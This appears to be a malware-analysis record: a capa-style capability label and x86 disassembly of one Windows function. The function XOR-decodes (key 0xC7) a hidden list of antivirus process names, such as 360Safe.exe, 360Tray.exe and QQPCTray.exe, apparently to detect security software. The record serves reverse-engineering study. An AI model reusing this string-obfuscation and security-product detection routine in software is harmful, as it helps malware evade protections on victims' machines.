Function at 0x408d78
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac4
mov eax, dword [0x473a30]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor esi, esi
push 0x7f00
mov edi, 0x461f98
push esi
mov dword [ebp - 0x92c], 0x408d59
mov dword [ebp - 0x928], esi
mov dword [ebp - 0x924], esi
mov dword [ebp - 0x930], 3
mov dword [ebp - 0x90c], edi
mov dword [ebp - 0x920], esi
call dword [0x4594e8]
mov dword [ebp - 0x918], eax
lea eax, [ebp - 0x930]
push eax
mov dword [ebp - 0x91c], esi
mov dword [ebp - 0x914], 6
mov dword [ebp - 0x910], esi
call dword [0x4594e4]
mov ebx, dword [0x459354]
test ax, ax
jne 0x408e0e
call ebx
cmp eax, 0x582
jne 0x409670
push esi
push esi
push esi
push esi
push 0x190
push 0x1f4
push 0x64
push 0x64
push 0xcf0000
push 0x461fa0
push edi
push esi
call dword [0x4594e0]
mov edi, eax
cmp edi, esi
je 0x40966e
push 0x74
pop ebx
push ebx
lea eax, [ebp - 0x8fc]
push esi
push eax
mov byte [ebp - 0x908], 0xf4
mov byte [ebp - 0x907], 0xf1
mov byte [ebp - 0x906], 0xf7
mov byte [ebp - 0x905], 0x94
mov byte [ebp - 0x904], 0xa6
mov byte [ebp - 0x903], 0xa1
mov byte [ebp - 0x902], 0xa2
mov byte [ebp - 0x901], 0xe9
mov byte [ebp - 0x900], 0xa2
mov byte [ebp - 0x8ff], 0xbf
mov byte [ebp - 0x8fe], 0xa2
mov byte [ebp - 0x8fd], 0xc7
call fcn.0043ee90
add esp, 0xc
push ebx
lea eax, [ebp - 0x87c]
push esi
push eax
mov byte [ebp - 0x888], 0xf4
mov byte [ebp - 0x887], 0xf1
mov byte [ebp - 0x886], 0xf7
mov byte [ebp - 0x885], 0x93
mov byte [ebp - 0x884], 0xb5
mov byte [ebp - 0x883], 0xa6
mov byte [ebp - 0x882], 0xbe
mov byte [ebp - 0x881], 0xe9
mov byte [ebp - 0x880], 0xa2
mov byte [ebp - 0x87f], 0xbf
mov byte [ebp - 0x87e], 0xa2
mov byte [ebp - 0x87d], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x76
lea eax, [ebp - 0x7fe]
push esi
push eax
mov byte [ebp - 0x808], 0xf4
mov byte [ebp - 0x807], 0xf1
mov byte [ebp - 0x806], 0xf7
mov byte [ebp - 0x805], 0xb4
mov byte [ebp - 0x804], 0xa3
mov byte [ebp - 0x803], 0xe9
mov byte [ebp - 0x802], 0xa2
mov byte [ebp - 0x801], 0xbf
mov byte [ebp - 0x800], 0xa2
mov byte [ebp - 0x7ff], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x76
lea eax, [ebp - 0x77e]
push esi
push eax
mov byte [ebp - 0x788], 0xf4
mov byte [ebp - 0x787], 0xf1
mov byte [ebp - 0x786], 0xf7
mov byte [ebp - 0x785], 0xb5
mov byte [ebp - 0x784], 0xb7
mov byte [ebp - 0x783], 0xe9
mov byte [ebp - 0x782], 0xa2
mov byte [ebp - 0x781], 0xbf
mov byte [ebp - 0x780], 0xa2
mov byte [ebp - 0x77f], 0xc7
call fcn.0043ee90
add esp, 0xc
mov byte [ebp - 0x708], 0xf4
mov byte [ebp - 0x707], 0xf1
mov byte [ebp - 0x706], 0xf7
mov byte [ebp - 0x705], 0xb5
mov byte [ebp - 0x704], 0xb7
mov byte [ebp - 0x703], 0xb4
mov byte [ebp - 0x702], 0xe9
mov byte [ebp - 0x701], 0xa2
mov byte [ebp - 0x700], 0xbf
mov byte [ebp - 0x6ff], 0xa2
mov byte [ebp - 0x6fe], 0xc7
push 0x75
lea eax, [ebp - 0x6fd]
push esi
push eax
call fcn.0043ee90
add esp, 0xc
push 0x70
lea eax, [ebp - 0x678]
push esi
push eax
mov byte [ebp - 0x688], 0x96
mov byte [ebp - 0x687], 0x8a
mov byte [ebp - 0x686], 0x86
mov byte [ebp - 0x685], 0xb2
mov byte [ebp - 0x684], 0xb3
mov byte [ebp - 0x683], 0xa8
mov byte [ebp - 0x682], 0x84
mov byte [ebp - 0x681], 0xab
mov byte [ebp - 0x680], 0xa2
mov byte [ebp - 0x67f], 0xa6
mov byte [ebp - 0x67e], 0xa9
mov byte [ebp - 0x67d], 0xe9
mov byte [ebp - 0x67c], 0xa2
mov byte [ebp - 0x67b], 0xbf
mov byte [ebp - 0x67a], 0xa2
mov byte [ebp - 0x679], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x71
lea eax, [ebp - 0x5f9]
push esi
push eax
mov byte [ebp - 0x608], 0x96
mov byte [ebp - 0x607], 0x8a
mov byte [ebp - 0x606], 0x94
mov byte [ebp - 0x605], 0xae
mov byte [ebp - 0x604], 0xa0
mov byte [ebp - 0x603], 0xa9
mov byte [ebp - 0x602], 0x94
mov byte [ebp - 0x601], 0xa4
mov byte [ebp - 0x600], 0xa6
mov byte [ebp - 0x5ff], 0xa9
mov byte [ebp - 0x5fe], 0xe9
mov byte [ebp - 0x5fd], 0xa2
mov byte [ebp - 0x5fc], 0xbf
mov byte [ebp - 0x5fb], 0xa2
mov byte [ebp - 0x5fa], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x70
lea eax, [ebp - 0x578]
push esi
push eax
mov byte [ebp - 0x588], 0x96
mov byte [ebp - 0x587], 0x96
mov byte [ebp - 0x586], 0x97
mov byte [ebp - 0x585], 0x84
mov byte [ebp - 0x584], 0x89
mov byte [ebp - 0x583], 0xa2
mov byte [ebp - 0x582], 0xb3
mov byte [ebp - 0x581], 0x81
mov byte [ebp - 0x580], 0xab
mov byte [ebp - 0x57f], 0xa8
mov byte [ebp - 0x57e], 0xb0
mov byte [ebp - 0x57d], 0xe9
mov byte [ebp - 0x57c], 0xa2
mov byte [ebp - 0x57b], 0xbf
mov byte [ebp - 0x57a], 0xa2
mov byte [ebp - 0x579], 0xc7
call fcn.0043ee90
add esp, 0xc
mov byte [ebp - 0x508], 0x96
mov byte [ebp - 0x507], 0x96
mov byte [ebp - 0x506], 0x97
mov byte [ebp - 0x505], 0x84
mov byte [ebp - 0x504], 0x97
mov byte [ebp - 0x503], 0xa6
mov byte [ebp - 0x502], 0xb3
mov byte [ebp - 0x501], 0xa4
mov byte [ebp - 0x500], 0xaf
mov byte [ebp - 0x4ff], 0xe9
push 0x72
lea eax, [ebp - 0x4fa]
push esi
push eax
mov byte [ebp - 0x4fe], 0xa2
mov byte [ebp - 0x4fd], 0xbf
mov byte [ebp - 0x4fc], 0xa2
mov byte [ebp - 0x4fb], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x68
lea eax, [ebp - 0x470]
push esi
push eax
mov byte [ebp - 0x488], 0x96
mov byte [ebp - 0x487], 0x96
mov byte [ebp - 0x486], 0x97
mov byte [ebp - 0x485], 0x84
mov byte [ebp - 0x484], 0x95
mov byte [ebp - 0x483], 0xa2
mov byte [ebp - 0x482], 0xa6
mov byte [ebp - 0x481], 0xab
mov byte [ebp - 0x480], 0x93
mov byte [ebp - 0x47f], 0xae
mov byte [ebp - 0x47e], 0xaa
mov byte [ebp - 0x47d], 0xa2
mov byte [ebp - 0x47c], 0x94
mov byte [ebp - 0x47b], 0xb7
mov byte [ebp - 0x47a], 0xa2
mov byte [ebp - 0x479], 0xa2
mov byte [ebp - 0x478], 0xa3
mov byte [ebp - 0x477], 0xb2
mov byte [ebp - 0x476], 0xb7
mov byte [ebp - 0x475], 0xe9
mov byte [ebp - 0x474], 0xa2
mov byte [ebp - 0x473], 0xbf
mov byte [ebp - 0x472], 0xa2
mov byte [ebp - 0x471], 0xc7
call fcn.0043ee90
add esp, 0xc
push ebx
lea eax, [ebp - 0x3fc]
push esi
push eax
mov byte [ebp - 0x408], 0x96
mov byte [ebp - 0x407], 0x96
mov byte [ebp - 0x406], 0x97
mov byte [ebp - 0x405], 0x84
mov byte [ebp - 0x404], 0x95
mov byte [ebp - 0x403], 0x93
mov byte [ebp - 0x402], 0x97
mov byte [ebp - 0x401], 0xe9
mov byte [ebp - 0x400], 0xa2
mov byte [ebp - 0x3ff], 0xbf
mov byte [ebp - 0x3fe], 0xa2
mov byte [ebp - 0x3fd], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x73
lea eax, [ebp - 0x37b]
push esi
push eax
mov byte [ebp - 0x388], 0x96
mov byte [ebp - 0x387], 0x96
mov byte [ebp - 0x386], 0x97
mov byte [ebp - 0x385], 0x84
mov byte [ebp - 0x384], 0x93
mov byte [ebp - 0x383], 0xb5
mov byte [ebp - 0x382], 0xa6
mov byte [ebp - 0x381], 0xbe
mov byte [ebp - 0x380], 0xe9
mov byte [ebp - 0x37f], 0xa2
mov byte [ebp - 0x37e], 0xbf
mov byte [ebp - 0x37d], 0xa2
mov byte [ebp - 0x37c], 0xc7
call fcn.0043ee90
add esp, 0xc
mov byte [ebp - 0x308], 0xac
mov byte [ebp - 0x307], 0xbf
mov byte [ebp - 0x306], 0xa2
mov byte [ebp - 0x305], 0xb3
push ebx
lea eax, [ebp - 0x2fc]
push esi
push eax
mov byte [ebp - 0x304], 0xb5
mov byte [ebp - 0x303], 0xa6
mov byte [ebp - 0x302], 0xbe
mov byte [ebp - 0x301], 0xe9
mov byte [ebp - 0x300], 0xa2
mov byte [ebp - 0x2ff], 0xbf
mov byte [ebp - 0x2fe], 0xa2
mov byte [ebp - 0x2fd], 0xc7
call fcn.0043ee90
add esp, 0xc
push ebx
lea eax, [ebp - 0x27c]
push esi
push eax
mov byte [ebp - 0x288], 0xac
mov byte [ebp - 0x287], 0xae
mov byte [ebp - 0x286], 0xb4
mov byte [ebp - 0x285], 0xab
mov byte [ebp - 0x284], 0xae
mov byte [ebp - 0x283], 0xb1
mov byte [ebp - 0x282], 0xa2
mov byte [ebp - 0x281], 0xe9
mov byte [ebp - 0x280], 0xa2
mov byte [ebp - 0x27f], 0xbf
mov byte [ebp - 0x27e], 0xa2
mov byte [ebp - 0x27d], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x72
lea eax, [ebp - 0x1fa]
push esi
push eax
mov byte [ebp - 0x208], 0xac
mov byte [ebp - 0x207], 0xa9
mov byte [ebp - 0x206], 0xa5
mov byte [ebp - 0x205], 0xa4
mov byte [ebp - 0x204], 0xa2
mov byte [ebp - 0x203], 0xa9
mov byte [ebp - 0x202], 0xb3
mov byte [ebp - 0x201], 0xa2
mov byte [ebp - 0x200], 0xb5
mov byte [ebp - 0x1ff], 0xe9
mov byte [ebp - 0x1fe], 0xa2
mov byte [ebp - 0x1fd], 0xbf
mov byte [ebp - 0x1fc], 0xa2
mov byte [ebp - 0x1fb], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x73
lea eax, [ebp - 0x17b]
push esi
push eax
mov byte [ebp - 0x188], 0xac
mov byte [ebp - 0x187], 0xbf
mov byte [ebp - 0x186], 0xa2
mov byte [ebp - 0x185], 0xb4
mov byte [ebp - 0x184], 0xa4
mov byte [ebp - 0x183], 0xa8
mov byte [ebp - 0x182], 0xb5
mov byte [ebp - 0x181], 0xa2
mov byte [ebp - 0x180], 0xe9
mov byte [ebp - 0x17f], 0xa2
mov byte [ebp - 0x17e], 0xbf
mov byte [ebp - 0x17d], 0xa2
mov byte [ebp - 0x17c], 0xc7
call fcn.0043ee90
add esp, 0xc
mov byte [ebp - 0x108], 0xac
mov byte [ebp - 0x107], 0xb0
mov byte [ebp - 0x106], 0xb4
mov byte [ebp - 0x105], 0xb7
mov byte [ebp - 0x104], 0xb5
mov byte [ebp - 0x103], 0xa8
mov byte [ebp - 0x102], 0xb3
mov byte [ebp - 0x101], 0xa2
mov byte [ebp - 0x100], 0xa4
mov byte [ebp - 0xff], 0xb3
push 0x6f
lea eax, [ebp - 0xf7]
push esi
push eax
mov byte [ebp - 0xfe], 0xf1
mov byte [ebp - 0xfd], 0xf3
mov byte [ebp - 0xfc], 0xe9
mov byte [ebp - 0xfb], 0xa2
mov byte [ebp - 0xfa], 0xbf
mov byte [ebp - 0xf9], 0xa2
mov byte [ebp - 0xf8], 0xc7
call fcn.0043ee90
add esp, 0xc
push 0x71
lea eax, [ebp - 0x79]
push esi
push eax
mov byte [ebp - 0x88], 0xac
mov byte [ebp - 0x87], 0xb7
mov byte [ebp - 0x86], 0xaf
mov byte [ebp - 0x85], 0xa8
mov byte [ebp - 0x84], 0xa9
mov byte [ebp - 0x83], 0xa2
mov byte [ebp - 0x82], 0xb3
mov byte [ebp - 0x81], 0xb5
mov byte [ebp - 0x80], 0xa6
mov byte [ebp - 0x7f], 0xbe
mov byte [ebp - 0x7e], 0xe9
mov byte [ebp - 0x7d], 0xa2
mov byte [ebp - 0x7c], 0xbf
mov byte [ebp - 0x7b], 0xa2
mov byte [ebp - 0x7a], 0xc7
call fcn.0043ee90
add esp, 0xc
lea ebx, [ebp - 0x908]
xor byte [ebx], 0xc7
mov eax, ebx
je 0x409641
inc eax
xor byte [eax], 0xc7
jne 0x40963b
call fcn.0040813d
mov dword [ebp + esi*4 - 0xac0], eax
inc esi
sub ebx, 0xffffff80
cmp esi, 0x12
jb 0x409634
lea eax, [ebp - 0xac0]
push edi
push eax
call fcn.00408cec
pop ecx
pop ecx
push edi
call dword [0x4594dc]
jmp 0x409670
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0043c573
leave
ret